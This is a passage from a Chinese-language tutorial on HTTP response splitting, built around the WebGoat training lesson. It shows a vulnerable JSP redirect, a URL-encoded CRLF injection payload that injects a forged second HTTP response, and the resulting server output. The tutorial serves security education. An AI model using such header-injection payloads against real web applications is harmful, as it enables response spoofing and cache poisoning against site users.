发现很多人在学习WebGoat上的HTTP Splitting教程之后有些疑惑,所以我也就在这里讨论一下这个问题。
HTTP Response Splitting翻译为HTTP应答拆分,是利用Web应用程序缺乏有效的输入验证,允许攻击者将CR 和LF 字符插入到应用程序响应的报头,从而将服务器的回应“拆分”成两个不同的HTTP 消息。攻击者通过发送一经过精心构造的HTTP请求,试图完全控制第二个响应来实现攻击。
一些Web 应用程序使用用户输入的一部分产生响应中的报头的值,常见的例子是根据用户提交的值进行的重定向目标URL。例如某Web应用会根据用户选择不同的语言作为参数传递并用于响应报头中触发对相关网页的重定向,其代码如下:
<% Response.sendRedirect(“/by_lang.jsp?lang=”+request.getParameter(“lang”)); %>
正常情况下,当用户输入其选择的语言的时候,比如english,那么会跳转到/by_lang.jsp?lang=English页面,其响应如下:
HTTP/1.1 302 Moved Temporarily
Date:Wed,24 Dec 2003 12:53:28
Location: http://victim.com/by_lang.jsp?lang=english
Server: Apache Coyote/1.1
Content-Type: text/html
Set-Cookie: JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE
Connection:Close
从以上可以看到的是:输入的参数(english)已经提交到HTTP头中,这样我们就可以构造特殊的字符来拆分HTTP头,并到其后追加一个自己构造的头。比如我们提交如下的参数(已经过URLEncoding):
foobar%0d%0aContent-Length:%200%0d%0a%0d%oaHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%Content-Length:%2019%0d%0a%0d%0aHacked
那么服务器返回的响应如下:
HTTP/1.1 302 Moved Temporarily
Date:Wed,24 Dec 2003 15:26:41 GMT
Location: http://victim.com/by_lang.jsp?lang=foobar
Content-Length:0
HTTP/1.1 200 OK
Content-Type: text/html
Content-length: 19
Hacked
Server: Apache Coyote/1.1
Content-Type: text/html
Set-Cookie: JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE
Connection:Close
其中第一个响应是302 重定向的响应,第二个响应是我们自己构造的响应。当客户端收到第一个响应之后会像相应头的Location指向的目标发起第二个请求,而这个时候客户端会认为第二个响应正是针对第二个请求的响应,从而达到了欺骗的目的。
WebGoat里面有针对这个漏洞的教程。登录到WebGoat的界面后,访问General?HTTP Splitting页面即可进入HTTP应答拆分攻击的教程。这个分为两个阶段,第一阶段仅仅只是要求能够使用HTTP应答拆分的漏洞进行攻击,第二阶段则更进一步的要求能够使用HTTP响应头的Last-Modified字段污染使用者的缓存。
为了判断页面是否可能存在HTTP应答拆分漏洞,我们先启动WebScarab,并且把浏览器的代理设置为WebScarab。然后进行正常输入后,从下图WebScarab上分析正常输入的请求与响应后可以发现在服务器的响应头中,重定向地址里面的Language这个参数恰好是我们通过浏览器提交的参数,这样就存在HTTP应答拆分漏洞的可能性。
我们可以进一步通过渗透性测试来判断是否真的存在这样的漏洞。首先来看看正常情况下服务器的响应信息如下:
HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://localhost/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=test
Content-Type: text/html;charset=ISO-8859-1
Content-length: 0
Date: Fri, 03 Aug 2012 06:52:48 GMT
我们把这个响应修改为我们希望的样子:
HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://localhost/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=test
Content-length: 0
HTTP/1.1 200 OK
Content-Type: text/html;
Content-length: 19
hacked
Content-Type: text/html;charset=ISO-8859-1
Content-length: 0
Date: Fri, 03 Aug 2012 06:52:48 GMT
那么中间从test到